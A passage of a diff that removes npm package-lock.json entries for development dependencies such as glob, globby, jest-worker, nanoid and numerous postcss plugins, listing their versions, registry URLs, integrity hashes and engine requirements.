- "integrity": "sha512-yIovAzMX49sF8Yl58fSCWJ5svSLuaibPxXQJFLmBObTuCr0Mf1KiPopGM9NiFjiYBCbfaa2Fh6breQ6ANVTI0A==",
- "dev": true
- },
- "node_modules/get-caller-file": {
- "version": "2.0.5",
- "resolved": "https://registry.npmjs.org/get-caller-file/-/get-caller-file-2.0.5.tgz",
- "integrity": "sha512-DyFP3BM/3YHTQOCUL/w0OZHR0lpKeGrxotcHWcqNEdnltqFwXVfhEBQ94eIo34AfQpo0rGki4cyIiftY06h2Fg==",
- "dev": true,
- "engines": {
- "node": "6.* || 8.* || >= 10.*"
- }
- },
- "node_modules/get-stdin": {
- "version": "9.0.0",
- "resolved": "https://registry.npmjs.org/get-stdin/-/get-stdin-9.0.0.tgz",
- "integrity": "sha512-dVKBjfWisLAicarI2Sf+JuBE/DghV4UzNAVe9yhEJuzeREd3JhOTE9cUaJTeSa77fsbQUK3pcOpJfM59+VKZaA==",
- "dev": true,
- "engines": {
- "node": ">=12"
- },
- "funding": {
- "url": "https://github.com/sponsors/sindresorhus"
- }
- },
- "node_modules/glob": {
- "version": "8.1.0",
- "resolved": "https://registry.npmjs.org/glob/-/glob-8.1.0.tgz",
- "integrity": "sha512-r8hpEjiQEYlF2QU0df3dS+nxxSIreXQS1qRhMJM0Q5NDdR386C7jb7Hwwod8Fgiuex+k0GFjgft18yvxm5XoCQ==",
- "dev": true,
- "dependencies": {
- "fs.realpath": "^1.0.0",
- "inflight": "^1.0.4",
- "inherits": "2",
- "minimatch": "^5.0.1",
- "once": "^1.3.0"
- },
- "engines": {
- "node": ">=12"
- },
- "funding": {
- "url": "https://github.com/sponsors/isaacs"
- }
- },
- "node_modules/glob-parent": {
- "version": "5.1.2",
- "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-5.1.2.tgz",
- "integrity": "sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==",
- "dev": true,
- "dependencies": {
- "is-glob": "^4.0.1"
- },
- "engines": {
- "node": ">= 6"
- }
- },
- "node_modules/globby": {
- "version": "13.2.2",
- "resolved": "https://registry.npmjs.org/globby/-/globby-13.2.2.tgz",
- "integrity": "sha512-Y1zNGV+pzQdh7H39l9zgB4PJqjRNqydvdYCDG4HFXM4XuvSaQQlEc91IU1yALL8gUTDomgBAfz3XJdmUS+oo0w==",
- "dev": true,
- "dependencies": {
- "dir-glob": "^3.0.1",
- "fast-glob": "^3.3.0",
- "ignore": "^5.2.4",
- "merge2": "^1.4.1",
- "slash": "^4.0.0"
- },
- "engines": {
- "node": "^12.20.0 || ^14.13.1 || >=16.0.0"
- },
- "funding": {
- "url": "https://github.com/sponsors/sindresorhus"
- }
- },
- "node_modules/globby/node_modules/slash": {
- "version": "4.0.0",
- "resolved": "https://registry.npmjs.org/slash/-/slash-4.0.0.tgz",
- "integrity": "sha512-3dOsAHXXUkQTpOYcoAxLIorMTp4gIQr5IW3iVb7A7lFIp0VHhnynm9izx6TssdrIcVIESAlVjtnO2K8bg+Coew==",
- "dev": true,
- "engines": {
- "node": ">=12"
- },
- "funding": {
- "url": "https://github.com/sponsors/sindresorhus"
- }
- },
- "node_modules/graceful-fs": {
- "version": "4.2.11",
- "resolved": "https://registry.npmjs.org/graceful-fs/-/graceful-fs-4.2.11.tgz",
- "integrity": "sha512-RbJ5/jmFcNNCcDV5o9eTnBLJ/HszWV0P73bc+Ff4nS/rJj+YaS6IGyiOL0VoBYX+l1Wrl3k63h/KrH+nhJ0XvQ==",
- "dev": true
- },
- "node_modules/has": {
- "version": "1.0.3",
- "resolved": "https://registry.npmjs.org/has/-/has-1.0.3.tgz",
- "integrity": "sha512-f2dvO0VU6Oej7RkWJGrehjbzMAjFp5/VKPp5tTpWIV4JHHZK1/BxbFRtf/siA2SWTe09caDmVtYYzWEIbBS4zw==",
- "dev": true,
- "dependencies": {
- "function-bind": "^1.1.1"
- },
- "engines": {
- "node": ">= 0.4.0"
- }
- },
- "node_modules/has-flag": {
- "version": "3.0.0",
- "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz",
- "integrity": "sha512-sKJf1+ceQBr4SMkvQnBDNDtf4TXpVhVGateu0t918bl30FnbE2m4vNLX+VWe/dpjlb+HugGYzW7uQXH98HPEYw==",
- "dev": true,
- "engines": {
- "node": ">=4"
- }
- },
- "node_modules/ignore": {
- "version": "5.2.4",
- "resolved": "https://registry.npmjs.org/ignore/-/ignore-5.2.4.tgz",
- "integrity": "sha512-MAb38BcSbH0eHNBxn7ql2NH/kX33OkB3lZ1BNdh7ENeRChHTYsTvWrMubiIAMNS2llXEEgZ1MUOBtXChP3kaFQ==",
- "dev": true,
- "engines": {
- "node": ">= 4"
- }
- },
- "node_modules/inflight": {
- "version": "1.0.6",
- "resolved": "https://registry.npmjs.org/inflight/-/inflight-1.0.6.tgz",
- "integrity": "sha512-k92I/b08q4wvFscXCLvqfsHCrjrF7yiXsQuIVvVE7N82W3+aqpzuUdBbfhWcy/FZR3/4IgflMgKLOsvPDrGCJA==",
- "dev": true,
- "dependencies": {
- "once": "^1.3.0",
- "wrappy": "1"
- }
- },
- "node_modules/inherits": {
- "version": "2.0.4",
- "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz",
- "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==",
- "dev": true
- },
- "node_modules/is-binary-path": {
- "version": "2.1.0",
- "resolved": "https://registry.npmjs.org/is-binary-path/-/is-binary-path-2.1.0.tgz",
- "integrity": "sha512-ZMERYes6pDydyuGidse7OsHxtbI7WVeUEozgR/g7rd0xUimYNlvZRE/K2MgZTjWy725IfelLeVcEM97mmtRGXw==",
- "dev": true,
- "dependencies": {
- "binary-extensions": "^2.0.0"
- },
- "engines": {
- "node": ">=8"
- }
- },
- "node_modules/is-builtin-module": {
- "version": "3.2.1",
- "resolved": "https://registry.npmjs.org/is-builtin-module/-/is-builtin-module-3.2.1.tgz",
- "integrity": "sha512-BSLE3HnV2syZ0FK0iMA/yUGplUeMmNz4AW5fnTunbCIqZi4vG3WjJT9FHMy5D69xmAYBHXQhJdALdpwVxV501A==",
- "dev": true,
- "dependencies": {
- "builtin-modules": "^3.3.0"
- },
- "engines": {
- "node": ">=6"
- },
- "funding": {
- "url": "https://github.com/sponsors/sindresorhus"
- }
- },
- "node_modules/is-core-module": {
- "version": "2.13.0",
- "resolved": "https://registry.npmjs.org/is-core-module/-/is-core-module-2.13.0.tgz",
- "integrity": "sha512-Z7dk6Qo8pOCp3l4tsX2C5ZVas4V+UxwQodwZhLopL91TX8UyyHEXafPcyoeeWuLrwzHcr3igO78wNLwHJHsMCQ==",
- "dev": true,
- "dependencies": {
- "has": "^1.0.3"
- },
- "funding": {
- "url": "https://github.com/sponsors/ljharb"
- }
- },
- "node_modules/is-extglob": {
- "version": "2.1.1",
- "resolved": "https://registry.npmjs.org/is-extglob/-/is-extglob-2.1.1.tgz",
- "integrity": "sha512-SbKbANkN603Vi4jEZv49LeVJMn4yGwsbzZworEoyEiutsN3nJYdbO36zfhGJ6QEDpOZIFkDtnq5JRxmvl3jsoQ==",
- "dev": true,
- "engines": {
- "node": ">=0.10.0"
- }
- },
- "node_modules/is-fullwidth-code-point": {
- "version": "3.0.0",
- "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz",
- "integrity": "sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg==",
- "dev": true,
- "engines": {
- "node": ">=8"
- }
- },
- "node_modules/is-glob": {
- "version": "4.0.3",
- "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-4.0.3.tgz",
- "integrity": "sha512-xelSayHH36ZgE7ZWhli7pW34hNbNl8Ojv5KVmkJD4hBdD3th8Tfk9vYasLM+mXWOZhFkgZfxhLSnrwRr4elSSg==",
- "dev": true,
- "dependencies": {
- "is-extglob": "^2.1.1"
- },
- "engines": {
- "node": ">=0.10.0"
- }
- },
- "node_modules/is-module": {
- "version": "1.0.0",
- "resolved": "https://registry.npmjs.org/is-module/-/is-module-1.0.0.tgz",
- "integrity": "sha512-51ypPSPCoTEIN9dy5Oy+h4pShgJmPCygKfyRCISBI+JoWT/2oJvK8QPxmwv7b/p239jXrm9M1mlQbyKJ5A152g==",
- "dev": true
- },
- "node_modules/is-number": {
- "version": "7.0.0",
- "resolved": "https://registry.npmjs.org/is-number/-/is-number-7.0.0.tgz",
- "integrity": "sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==",
- "dev": true,
- "engines": {
- "node": ">=0.12.0"
- }
- },
- "node_modules/is-reference": {
- "version": "1.2.1",
- "resolved": "https://registry.npmjs.org/is-reference/-/is-reference-1.2.1.tgz",
- "integrity": "sha512-U82MsXXiFIrjCK4otLT+o2NA2Cd2g5MLoOVXUZjIOhLurrRxpEXzI8O0KZHr3IjLvlAH1kTPYSuqer5T9ZVBKQ==",
- "dev": true,
- "dependencies": {
- "@types/estree": "*"
- }
- },
- "node_modules/jest-worker": {
- "version": "26.6.2",
- "resolved": "https://registry.npmjs.org/jest-worker/-/jest-worker-26.6.2.tgz",
- "integrity": "sha512-KWYVV1c4i+jbMpaBC+U++4Va0cp8OisU185o73T1vo99hqi7w8tSJfUXYswwqqrjzwxa6KpRK54WhPvwf5w6PQ==",
- "dev": true,
- "dependencies": {
- "@types/node": "*",
- "merge-stream": "^2.0.0",
- "supports-color": "^7.0.0"
- },
- "engines": {
- "node": ">= 10.13.0"
- }
- },
- "node_modules/jest-worker/node_modules/has-flag": {
- "version": "4.0.0",
- "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz",
- "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==",
- "dev": true,
- "engines": {
- "node": ">=8"
- }
- },
- "node_modules/jest-worker/node_modules/supports-color": {
- "version": "7.2.0",
- "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz",
- "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==",
- "dev": true,
- "dependencies": {
- "has-flag": "^4.0.0"
- },
- "engines": {
- "node": ">=8"
- }
- },
- "node_modules/js-tokens": {
- "version": "4.0.0",
- "resolved": "https://registry.npmjs.org/js-tokens/-/js-tokens-4.0.0.tgz",
- "integrity": "sha512-RdJUflcE3cUzKiMqQgsCu06FPu9UdIJO0beYbPhHN4k6apgJtifcoCtT9bcxOpYBtpD2kCM6Sbzg4CausW/PKQ==",
- "dev": true
- },
- "node_modules/jsonfile": {
- "version": "6.1.0",
- "resolved": "https://registry.npmjs.org/jsonfile/-/jsonfile-6.1.0.tgz",
- "integrity": "sha512-5dgndWOriYSm5cnYaJNhalLNDKOqFwyDB/rr1E9ZsGciGvKPs8R2xYGCacuf3z6K1YKDz182fd+fY3cn3pMqXQ==",
- "dev": true,
- "dependencies": {
- "universalify": "^2.0.0"
- },
- "optionalDependencies": {
- "graceful-fs": "^4.1.6"
- }
- },
- "node_modules/lilconfig": {
- "version": "2.1.0",
- "resolved": "https://registry.npmjs.org/lilconfig/-/lilconfig-2.1.0.tgz",
- "integrity": "sha512-utWOt/GHzuUxnLKxB6dk81RoOeoNeHgbrXiuGk4yyF5qlRz+iIVWu56E2fqGHFrXz0QNUhLB/8nKqvRH66JKGQ==",
- "dev": true,
- "engines": {
- "node": ">=10"
- }
- },
- "node_modules/lodash.memoize": {
- "version": "4.1.2",
- "resolved": "https://registry.npmjs.org/lodash.memoize/-/lodash.memoize-4.1.2.tgz",
- "integrity": "sha512-t7j+NzmgnQzTAYXcsHYLgimltOV1MXHtlOWf6GjL9Kj8GK5FInw5JotxvbOs+IvV1/Dzo04/fCGfLVs7aXb4Ag==",
- "dev": true
- },
- "node_modules/lodash.uniq": {
- "version": "4.5.0",
- "resolved": "https://registry.npmjs.org/lodash.uniq/-/lodash.uniq-4.5.0.tgz",
- "integrity": "sha512-xfBaXQd9ryd9dlSDvnvI0lvxfLJlYAZzXomUYzLKtUeOQvOP5piqAWuGtrhWeqaXK9hhoM/iyJc5AV+XfsX3HQ==",
- "dev": true
- },
- "node_modules/magic-string": {
- "version": "0.27.0",
- "resolved": "https://registry.npmjs.org/magic-string/-/magic-string-0.27.0.tgz",
- "integrity": "sha512-8UnnX2PeRAPZuN12svgR9j7M1uWMovg/CEnIwIG0LFkXSJJe4PdfUGiTGl8V9bsBHFUtfVINcSyYxd7q+kx9fA==",
- "dev": true,
- "dependencies": {
- "@jridgewell/sourcemap-codec": "^1.4.13"
- },
- "engines": {
- "node": ">=12"
- }
- },
- "node_modules/mdn-data": {
- "version": "2.0.30",
- "resolved": "https://registry.npmjs.org/mdn-data/-/mdn-data-2.0.30.tgz",
- "integrity": "sha512-GaqWWShW4kv/G9IEucWScBx9G1/vsFZZJUO+tD26M8J8z3Kw5RDQjaoZe03YAClgeS/SWPOcb4nkFBTEi5DUEA==",
- "dev": true
- },
- "node_modules/merge-stream": {
- "version": "2.0.0",
- "resolved": "https://registry.npmjs.org/merge-stream/-/merge-stream-2.0.0.tgz",
- "integrity": "sha512-abv/qOcuPfk3URPfDzmZU1LKmuw8kT+0nIHvKrKgFrwifol/doWcdA4ZqsWQ8ENrFKkd67Mfpo/LovbIUsbt3w==",
- "dev": true
- },
- "node_modules/merge2": {
- "version": "1.4.1",
- "resolved": "https://registry.npmjs.org/merge2/-/merge2-1.4.1.tgz",
- "integrity": "sha512-8q7VEgMJW4J8tcfVPy8g09NcQwZdbwFEqhe/WZkoIzjn/3TGDwtOCYtXGxA3O8tPzpczCCDgv+P2P5y00ZJOOg==",
- "dev": true,
- "engines": {
- "node": ">= 8"
- }
- },
- "node_modules/micromatch": {
- "version": "4.0.5",
- "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-4.0.5.tgz",
- "integrity": "sha512-DMy+ERcEW2q8Z2Po+WNXuw3c5YaUSFjAO5GsJqfEl7UjvtIuFKO6ZrKvcItdy98dwFI2N1tg3zNIdKaQT+aNdA==",
- "dev": true,
- "dependencies": {
- "braces": "^3.0.2",
- "picomatch": "^2.3.1"
- },
- "engines": {
- "node": ">=8.6"
- }
- },
- "node_modules/minimatch": {
- "version": "5.1.6",
- "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-5.1.6.tgz",
- "integrity": "sha512-lKwV/1brpG6mBUFHtb7NUmtABCb2WZZmm2wNiOA5hAb8VdCS4B3dtMWyvcoViccwAW/COERjXLt0zP1zXUN26g==",
- "dev": true,
- "dependencies": {
- "brace-expansion": "^2.0.1"
- },
- "engines": {
- "node": ">=10"
- }
- },
- "node_modules/nanoid": {
- "version": "3.3.6",
- "resolved": "https://registry.npmjs.org/nanoid/-/nanoid-3.3.6.tgz",
- "integrity": "sha512-BGcqMMJuToF7i1rt+2PWSNVnWIkGCU78jBG3RxO/bZlnZPK2Cmi2QaffxGO/2RvWi9sL+FAiRiXMgsyxQ1DIDA==",
- "dev": true,
- "funding": [
- {
- "type": "github",
- "url": "https://github.com/sponsors/ai"
- }
- ],
- "bin": {
- "nanoid": "bin/nanoid.cjs"
- },
- "engines": {
- "node": "^10 || ^12 || ^13.7 || ^14 || >=15.0.1"
- }
- },
- "node_modules/node-releases": {
- "version": "2.0.13",
- "resolved": "https://registry.npmjs.org/node-releases/-/node-releases-2.0.13.tgz",
- "integrity": "sha512-uYr7J37ae/ORWdZeQ1xxMJe3NtdmqMC/JZK+geofDrkLUApKRHPd18/TxtBOJ4A0/+uUIliorNrfYV6s1b02eQ==",
- "dev": true
- },
- "node_modules/normalize-path": {
- "version": "3.0.0",
- "resolved": "https://registry.npmjs.org/normalize-path/-/normalize-path-3.0.0.tgz",
- "integrity": "sha512-6eZs5Ls3WtCisHWp9S2GUy8dqkpGi4BVSz3GaqiE6ezub0512ESztXUwUB6C6IKbQkY2Pnb/mD4WYojCRwcwLA==",
- "dev": true,
- "engines": {
- "node": ">=0.10.0"
- }
- },
- "node_modules/nth-check": {
- "version": "2.1.1",
- "resolved": "https://registry.npmjs.org/nth-check/-/nth-check-2.1.1.tgz",
- "integrity": "sha512-lqjrjmaOoAnWfMmBPL+XNnynZh2+swxiX3WUE0s4yEHI6m+AwrK2UZOimIRl3X/4QctVqS8AiZjFqyOGrMXb/w==",
- "dev": true,
- "dependencies": {
- "boolbase": "^1.0.0"
- },
- "funding": {
- "url": "https://github.com/fb55/nth-check?sponsor=1"
- }
- },
- "node_modules/once": {
- "version": "1.4.0",
- "resolved": "https://registry.npmjs.org/once/-/once-1.4.0.tgz",
- "integrity": "sha512-lNaJgI+2Q5URQBkccEKHTQOPaXdUxnZZElQTZY0MFUAuaEqe1E+Nyvgdz/aIyNi6Z9MzO5dv1H8n58/GELp3+w==",
- "dev": true,
- "dependencies": {
- "wrappy": "1"
- }
- },
- "node_modules/path-parse": {
- "version": "1.0.7",
- "resolved": "https://registry.npmjs.org/path-parse/-/path-parse-1.0.7.tgz",
- "integrity": "sha512-LDJzPVEEEPR+y48z93A0Ed0yXb8pAByGWo/k5YYdYgpY2/2EsOsksJrq7lOHxryrVOn1ejG6oAp8ahvOIQD8sw==",
- "dev": true
- },
- "node_modules/path-type": {
- "version": "4.0.0",
- "resolved": "https://registry.npmjs.org/path-type/-/path-type-4.0.0.tgz",
- "integrity": "sha512-gDKb8aZMDeD/tZWs9P6+q0J9Mwkdl6xMV8TjnGP3qJVJ06bdMgkbBlLU8IdfOsIsFz2BW1rNVT3XuNEl8zPAvw==",
- "dev": true,
- "engines": {
- "node": ">=8"
- }
- },
- "node_modules/picocolors": {
- "version": "1.0.0",
- "resolved": "https://registry.npmjs.org/picocolors/-/picocolors-1.0.0.tgz",
- "integrity": "sha512-1fygroTLlHu66zi26VoTDv8yRgm0Fccecssto+MhsZ0D/DGW2sm8E8AjW7NU5VVTRt5GxbeZ5qBuJr+HyLYkjQ==",
- "dev": true
- },
- "node_modules/picomatch": {
- "version": "2.3.1",
- "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-2.3.1.tgz",
- "integrity": "sha512-JU3teHTNjmE2VCGFzuY8EXzCDVwEqB2a8fsIvwaStHhAWJEeVd1o1QD80CU6+ZdEXXSLbSsuLwJjkCBWqRQUVA==",
- "dev": true,
- "engines": {
- "node": ">=8.6"
- },
- "funding": {
- "url": "https://github.com/sponsors/jonschlinkert"
- }
- },
- "node_modules/pify": {
- "version": "2.3.0",
- "resolved": "https://registry.npmjs.org/pify/-/pify-2.3.0.tgz",
- "integrity": "sha512-udgsAY+fTnvv7kI7aaxbqwWNb0AHiB0qBO89PZKPkoTmGOgdbrHDKD+0B2X4uTfJ/FT1R09r9gTsjUjNJotuog==",
- "dev": true,
- "engines": {
- "node": ">=0.10.0"
- }
- },
- "node_modules/postcss": {
- "version": "8.4.30",
- "resolved": "https://registry.npmjs.org/postcss/-/postcss-8.4.30.tgz",
- "integrity": "sha512-7ZEao1g4kd68l97aWG/etQKPKq07us0ieSZ2TnFDk11i0ZfDW2AwKHYU8qv4MZKqN2fdBfg+7q0ES06UA73C1g==",
- "dev": true,
- "funding": [
- {
- "type": "opencollective",
- "url": "https://opencollective.com/postcss/"
- },
- {
- "type": "tidelift",
- "url": "https://tidelift.com/funding/github/npm/postcss"
- },
- {
- "type": "github",
- "url": "https://github.com/sponsors/ai"
- }
- ],
- "dependencies": {
- "nanoid": "^3.3.6",
- "picocolors": "^1.0.0",
- "source-map-js": "^1.0.2"
- },
- "engines": {
- "node": "^10 || ^12 || >=14"
- }
- },
- "node_modules/postcss-calc": {
- "version": "9.0.1",
- "resolved": "https://registry.npmjs.org/postcss-calc/-/postcss-calc-9.0.1.tgz",
- "integrity": "sha512-TipgjGyzP5QzEhsOZUaIkeO5mKeMFpebWzRogWG/ysonUlnHcq5aJe0jOjpfzUU8PeSaBQnrE8ehR0QA5vs8PQ==",
- "dev": true,
- "dependencies": {
- "postcss-selector-parser": "^6.0.11",
- "postcss-value-parser": "^4.2.0"
- },
- "engines": {
- "node": "^14 || ^16 || >=18.0"
- },
- "peerDependencies": {
- "postcss": "^8.2.2"
- }
- },
- "node_modules/postcss-cli": {
- "version": "10.1.0",
- "resolved": "https://registry.npmjs.org/postcss-cli/-/postcss-cli-10.1.0.tgz",
- "integrity": "sha512-Zu7PLORkE9YwNdvOeOVKPmWghprOtjFQU3srMUGbdz3pHJiFh7yZ4geiZFMkjMfB0mtTFR3h8RemR62rPkbOPA==",
- "dev": true,
- "dependencies": {
- "chokidar": "^3.3.0",
- "dependency-graph": "^0.11.0",
- "fs-extra": "^11.0.0",
- "get-stdin": "^9.0.0",
- "globby": "^13.0.0",
- "picocolors": "^1.0.0",
- "postcss-load-config": "^4.0.0",
- "postcss-reporter": "^7.0.0",
- "pretty-hrtime": "^1.0.3",
- "read-cache": "^1.0.0",
- "slash": "^5.0.0",
- "yargs": "^17.0.0"
- },
- "bin": {
- "postcss": "index.js"
- },
- "engines": {
- "node": ">=14"
- },
- "peerDependencies": {
- "postcss": "^8.0.0"
- }
- },
- "node_modules/postcss-colormin": {
- "version": "6.0.0",
- "resolved": "https://registry.npmjs.org/postcss-colormin/-/postcss-colormin-6.0.0.tgz",
- "integrity": "sha512-EuO+bAUmutWoZYgHn2T1dG1pPqHU6L4TjzPlu4t1wZGXQ/fxV16xg2EJmYi0z+6r+MGV1yvpx1BHkUaRrPa2bw==",
- "dev": true,
- "dependencies": {
- "browserslist": "^4.21.4",
- "caniuse-api": "^3.0.0",
- "colord": "^2.9.1",
- "postcss-value-parser": "^4.2.0"
- },
- "engines": {
- "node": "^14 || ^16 || >=18.0"
- },
- "peerDependencies": {
- "postcss": "^8.2.15"
- }
- },
- "node_modules/postcss-convert-values": {
- "version": "6.0.0",
- "resolved": "https://registry.npmjs.org/postcss-convert-values/-/postcss-convert-values-6.0.0.tgz",
- "integrity": "sha512-U5D8QhVwqT++ecmy8rnTb+RL9n/B806UVaS3m60lqle4YDFcpbS3ae5bTQIh3wOGUSDHSEtMYLs/38dNG7EYFw==",
- "dev": true,
- "dependencies": {
- "browserslist": "^4.21.4",
- "postcss-value-parser": "^4.2.0"
- },
- "engines": {
- "node": "^14 || ^16 || >=18.0"
- },
- "peerDependencies": {
- "postcss": "^8.2.15"
- }
- },
- "node_modules/postcss-discard-comments": {
- "version": "6.0.0",
- "resolved": "https://registry.npmjs.org/postcss-discard-comments/-/postcss-discard-comments-6.0.0.tgz",
- "integrity": "sha512-p2skSGqzPMZkEQvJsgnkBhCn8gI7NzRH2683EEjrIkoMiwRELx68yoUJ3q3DGSGuQ8Ug9Gsn+OuDr46yfO+eFw==",
- "dev": true,
- "engines": {
- "node": "^14 || ^16 || >=18.0"
- },
- "peerDependencies": {
- "postcss": "^8.2.15"
- }
- },
- "node_modules/postcss-discard-duplicates": {
- "version": "6.0.0",
- "resolved": "https://registry.npmjs.org/postcss-discard-duplicates/-/postcss-discard-duplicates-6.0.0.tgz",
- "integrity": "sha512-bU1SXIizMLtDW4oSsi5C/xHKbhLlhek/0/yCnoMQany9k3nPBq+Ctsv/9oMmyqbR96HYHxZcHyK2HR5P/mqoGA==",
- "dev": true,
- "engines": {
- "node": "^14 || ^16 || >=18.0"
- },
- "peerDependencies": {
- "postcss": "^8.2.15"
- }
- },
- "node_modules/postcss-discard-empty": {
- "version": "6.0.0",
- "resolved": "https://registry.npmjs.org/postcss-discard-empty/-/postcss-discard-empty-6.0.0.tgz",
- "integrity": "sha512-b+h1S1VT6dNhpcg+LpyiUrdnEZfICF0my7HAKgJixJLW7BnNmpRH34+uw/etf5AhOlIhIAuXApSzzDzMI9K/gQ==",
- "dev": true,
- "engines": {
- "node": "^14 || ^16 || >=18.0"
- },
- "peerDependencies": {
- "postcss": "^8.2.15"
- }
- },
- "node_modules/postcss-discard-overridden": {
- "version": "6.0.0",
- "resolved": "https://registry.npmjs.org/postcss-discard-overridden/-/postcss-discard-overridden-6.0.0.tgz",
- "integrity": "sha512-4VELwssYXDFigPYAZ8vL4yX4mUepF/oCBeeIT4OXsJPYOtvJumyz9WflmJWTfDwCUcpDR+z0zvCWBXgTx35SVw==",
- "dev": true,
- "engines": {
- "node": "^14 || ^16 || >=18.0"
- },
- "peerDependencies": {
- "postcss": "^8.2.15"
- }
- },
- "node_modules/postcss-import": {
- "version": "15.1.0",
- "resolved": "https://registry.npmjs.org/postcss-import/-/postcss-import-15.1.0.tgz",
- "integrity": "sha512-hpr+J05B2FVYUAXHeK1YyI267J/dDDhMU6B6civm8hSY1jYJnBXxzKDKDswzJmtLHryrjhnDjqqp/49t8FALew==",
- "dev": true,
- "dependencies": {
- "postcss-value-parser": "^4.0.0",
- "read-cache": "^1.0.0",
- "resolve": "^1.1.7"
- },
- "engines": {
- "node": ">=14.0.0"
- },
- "peerDependencies": {
- "postcss": "^8.0.0"
- }
- },
- "node_modules/postcss-load-config": {
- "version": "4.0.1",
- "resolved": "https://registry.npmjs.org/postcss-load-config/-/postcss-load-config-4.0.1.tgz",
- "integrity": "sha512-vEJIc8RdiBRu3oRAI0ymerOn+7rPuMvRXslTvZUKZonDHFIczxztIyJ1urxM1x9JXEikvpWWTUUqal5j/8QgvA==",
- "dev": true,
- "dependencies": {
- "lilconfig": "^2.0.5",
- "yaml": "^2.1.1"
- },
- "engines": {
- "node": ">= 14"
- },
- "funding": {
- "type": "opencollective",
- "url": "https://opencollective.com/postcss/"
- },
- "peerDependencies": {
- "postcss": ">=8.0.9",
- "ts-node": ">=9.0.0"
- },
- "peerDependenciesMeta": {
- "postcss": {
- "optional": true
- },
- "ts-node": {
- "optional": true
- }
- }
- },
- "node_modules/postcss-merge-longhand": {
- "version": "6.0.0",
- "resolved": "https://registry.npmjs.org/postcss-merge-longhand/-/postcss-merge-longhand-6.0.0.tgz",
- "integrity": "sha512-4VSfd1lvGkLTLYcxFuISDtWUfFS4zXe0FpF149AyziftPFQIWxjvFSKhA4MIxMe4XM3yTDgQMbSNgzIVxChbIg==",
- "dev": true,
- "dependencies": {
- "postcss-value-parser": "^4.2.0",
- "stylehacks": "^6.0.0"
- },
- "engines": {
- "node": "^14 || ^16 || >=18.0"
- },
- "peerDependencies": {
- "postcss": "^8.2.15"
- }
- },
- "node_modules/postcss-merge-rules": {
- "version": "6.0.1",
- "resolved": "https://registry.npmjs.org/postcss-merge-rules/-/postcss-merge-rules-6.0.1.tgz",
- "integrity": "sha512-a4tlmJIQo9SCjcfiCcCMg/ZCEe0XTkl/xK0XHBs955GWg9xDX3NwP9pwZ78QUOWB8/0XCjZeJn98Dae0zg6AAw==",
- "dev": true,
- "dependencies": {
- "browserslist": "^4.21.4",
- "caniuse-api": "^3.0.0",
- "cssnano-utils": "^4.0.0",
- "postcss-selector-parser": "^6.0.5"
- },
- "engines": {
- "node": "^14 || ^16 || >=18.0"
- },
- "peerDependencies": {
- "postcss": "^8.2.15"
- }
- },
- "node_modules/postcss-minify-font-values": {
- "version": "6.0.0",
- "resolved": "https://registry.npmjs.org/postcss-minify-font-values/-/postcss-minify-font-values-6.0.0.tgz",
- "integrity": "sha512-zNRAVtyh5E8ndZEYXA4WS8ZYsAp798HiIQ1V2UF/C/munLp2r1UGHwf1+6JFu7hdEhJFN+W1WJQKBrtjhFgEnA==",
- "dev": true,
- "dependencies": {
- "postcss-value-parser": "^4.2.0"
- },
- "engines": {
- "node": "^14 || ^16 || >=18.0"
- },
- "peerDependencies": {
- "postcss": "^8.2.15"
- }
- },
- "node_modules/postcss-minify-gradients": {
- "version": "6.0.0",
- "resolved": "https://registry.npmjs.org/postcss-minify-gradients/-/postcss-minify-gradients-6.0.0.tgz",
- "integrity": "sha512-wO0F6YfVAR+K1xVxF53ueZJza3L+R3E6cp0VwuXJQejnNUH0DjcAFe3JEBeTY1dLwGa0NlDWueCA1VlEfiKgAA==",
- "dev": true,
- "dependencies": {
- "colord": "^2.9.1",
- "cssnano-utils": "^4.0.0",
- "postcss-value-parser": "^4.2.0"
- },
- "engines": {
- "node": "^14 || ^16 || >=18.0"
- },
- "peerDependencies": {
- "postcss": "^8.2.15"
- }
- },
- "node_modules/postcss-minify-params": {
- "version": "6.0.0",
- "resolved": "https://registry.npmjs.org/postcss-minify-params/-/postcss-minify-params-6.0.0.tgz",
- "integrity": "sha512-Fz/wMQDveiS0n5JPcvsMeyNXOIMrwF88n7196puSuQSWSa+/Ofc1gDOSY2xi8+A4PqB5dlYCKk/WfqKqsI+ReQ==",
- "dev": true,
- "dependencies": {
- "browserslist": "^4.21.4",
- "cssnano-utils": "^4.0.0",
- "postcss-value-parser": "^4.2.0"
- },
- "engines": {
- "node": "^14 || ^16 || >=18.0"
- },
- "peerDependencies": {
- "postcss": "^8.2.15"
- }
- },
- "node_modules/postcss-minify-selectors": {
- "version": "6.0.0",
- "resolved": "https://registry.npmjs.org/postcss-minify-selectors/-/postcss-minify-selectors-6.0.0.tgz",
- "integrity": "sha512-ec/q9JNCOC2CRDNnypipGfOhbYPuUkewGwLnbv6omue/PSASbHSU7s6uSQ0tcFRVv731oMIx8k0SP4ZX6be/0g==",
- "dev": true,
- "dependencies": {
- "postcss-selector-parser": "^6.0.5"
- },
- "engines": {
